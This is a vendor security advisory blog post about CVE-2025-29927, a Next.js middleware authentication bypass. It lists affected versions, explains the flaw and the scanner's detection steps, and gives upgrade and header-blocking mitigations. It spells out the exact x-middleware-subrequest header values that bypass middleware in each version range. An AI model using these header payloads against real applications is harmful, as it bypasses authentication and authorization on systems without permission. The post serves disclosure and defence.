A significant vulnerability in the Next.js framework, which was officially revealed on March 21, 2025, enables attackers to circumvent middleware security measures via a straightforward header manipulation. This article provides an overview of what is known about CVE-2025-29927, ways to mitigate the vulnerability, and how Acunetix can assist in identifying and confirming your organization’s risk.
What you need to know about CVE-2025-29927
A remote authorization bypass vulnerability labeled CVE-2025-29927 has been identified in Next.js, one of the leading React frameworks utilized for developing web applications.
This vulnerability permits attackers to entirely bypass Next.js functionality within an application, including essential security functions such as authentication and authorization.
As of March 24, 2025, Acunetix has implemented an active security check to identify and report exploitable versions of Next.js.
The vulnerability impacts the following Next.js versions:
Next.js 11.1.4 through 13.5.6 (unpatched)
Next.js 14.x prior to 14.2.25
Next.js 15.x prior to 15.2.3
Upgrading to a secure version is the only assured remedy. Proxy-level WAF blocking may provide temporary relief but is not advisable for long-term protection.
Understand your Next.js middleware bypass risk
This vulnerability allows attackers to entirely bypass the middleware functionality by including a specifically crafted x-middleware-subrequest header in their requests. Middleware can be thought of as a processing chain that enables software modules to inspect, modify, or redirect an HTTP request before it reaches its final code handler. It is an ideal location for implementing features like authentication, where a common practice is to redirect to a login page if a valid authentication cookie is absent.
The significance of this vulnerability is heightened due to the fact that Next.js middleware is frequently employed for critical security functions such as authentication, authorization, path rewriting, and implementing security headers. All of these can be easily circumvented by an attacker using a specific HTTP header.
Are you vulnerable to the Next.js middleware bypass?
If you answer “yes” to BOTH of the following inquiries, your application is vulnerable unless it has been patched:
Do you depend on Next.js middleware for security controls?
Are you operating a self-hosted Next.js application using next start with output: “standalone’?
Applications are particularly vulnerable if:
You utilize middleware for authentication or authorization validations
You rely on middleware for enforcing security headers like Content Security Policy (CSP), which sets limits on where resources can be loaded from
You use middleware for path rewriting to restrict access to specific routes
Applications hosted on Vercel or Netlify are not impacted, as these platforms have instituted mitigations at their edge layers. Applications that are deployed as static exports (where middleware is not executed) are also unaffected.
If you are uncertain about the specifics of your Next.js usage or wish to assess it independently, utilizing an automated DAST tool to verify your vulnerability is an excellent starting point.
How the Next.js middleware vulnerability works
Next.js middleware employs an internal header called x-middleware-subrequest to prevent recursive requests from causing infinite loops. The security flaw allows an attacker to manipulate this header to deceive the Next.js application into skipping middleware execution completely.
The exploitation method varies slightly across different versions of Next.js:
For older versions (pre-12.2): x-middleware-subrequest: pages/_middleware
For modern versions: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware (or src/middleware:src/middleware:src/middleware:src/middleware:src/middleware if utilizing the src directory)
When this header is present with the correct value, the middleware is entirely bypassed, allowing the request to reach its original destination without undergoing any security checks or modifications that would normally be enforced by the middleware.
How Invicti DAST products detect CVE-2025-29927
Active detection logic (Acunetix)
Invicti’s security research team has developed a detection mechanism for the Acunetix engine to ascertain if your applications are vulnerable to CVE-2025-29927. As of Monday, March 24, 2025, this check is operational for all Acunetix Premium customers.
Here’s a step-by-step breakdown of how the active check functions:
Identify Next.js middleware usage: The check initially searches for distinctive indicators of Next.js middleware, specifically a 307 redirect where the response body matches the location header value. This pattern is unique to Next.js middleware redirects.
Verify Next.js framework presence: Confirm the application is utilizing Next.js by checking for the x-powered-by: Next.js header in responses.
Test with bypass payloads: The detection mechanism employs various bypass payloads depending on the identified Next.js version:
For newer versions (13.2.0+): middleware:middleware:middleware:middleware:middleware (and the src variant)
For older versions (pre-12.2): pages/_middleware
For intermediate versions (12.2 to 13.2.0): middleware
Validation through contrast: To minimize false positives, the test executes multiple validation checks:
Send a request with the potential bypass header and verify if it returns a 200 OK.
Send a control request with a slightly altered header, such as Y-Middleware-Subrequest, to ensure it still redirects (307).
Send another request with an invalid value to confirm proper behavior.
Repeat the successful bypass to validate consistency.
Confirm vulnerability: The vulnerability is confirmed only after all validation steps are successfully completed, which reduces the likelihood of false positives.
Passive detection through traffic analysis with dynamic SCA (Invicti)
The vulnerability is identified through passive monitoring of web traffic during a security scan without making active requests. Invicti Enterprise employs this technique alongside its vulnerability database to detect the flaw. This method searches for the x-powered-by: Next.js header in responses, confirming that the application is using Next.js. The presence of the vulnerable version is further validated by evaluating the next.version function in the browser’s JavaScript context to extract the precise version.
We then compare this value against our continually updated database of known CVEs and network detection signatures to ascertain if an insecure version of Next.js has been identified.
As of Tuesday, March 25, 2025, this check is operational for all Invicti Enterprise, Invicti Standard, and Acunetix 360 customers.
Mitigation steps for CVE-2025-29927
Update immediately:
For Next.js 15.x: Update to ≥ 15.2.3
For Next.js 14.x: Update to ≥ 14.2.25
For Next.js 13.x: Update to ≥ 13.5.9
For Next.js 12.x: Update to ≥ 12.3.5
If immediate updating is not feasible:
Block the x-middleware-subrequest header at your edge/proxy level (not within middleware itself).
Users of Cloudflare can activate a Managed WAF rule to obstruct this attack. Please note that Cloudflare has altered this WAF rule to be opt-in following reports of third-party authentication frameworks being affected. We recommend focusing on upgrading Next.js.
Invicti Security wishes to acknowledge Rachid Allam and Yasser Allam for their original research and documentation of their findings, as well as our internal teams that worked diligently to provide a check to customers within just one business day.
Our security team is continuously observing this situation and will provide updates as more information becomes available.
Subscribe to receive the latest web security content in your inbox weekly.
THE AUTHOR
Bogdan Calin
Developers and technical agents from Acunetix regularly contribute to the blog. All Acunetix developers possess years of experience in the web security domain.
Source link
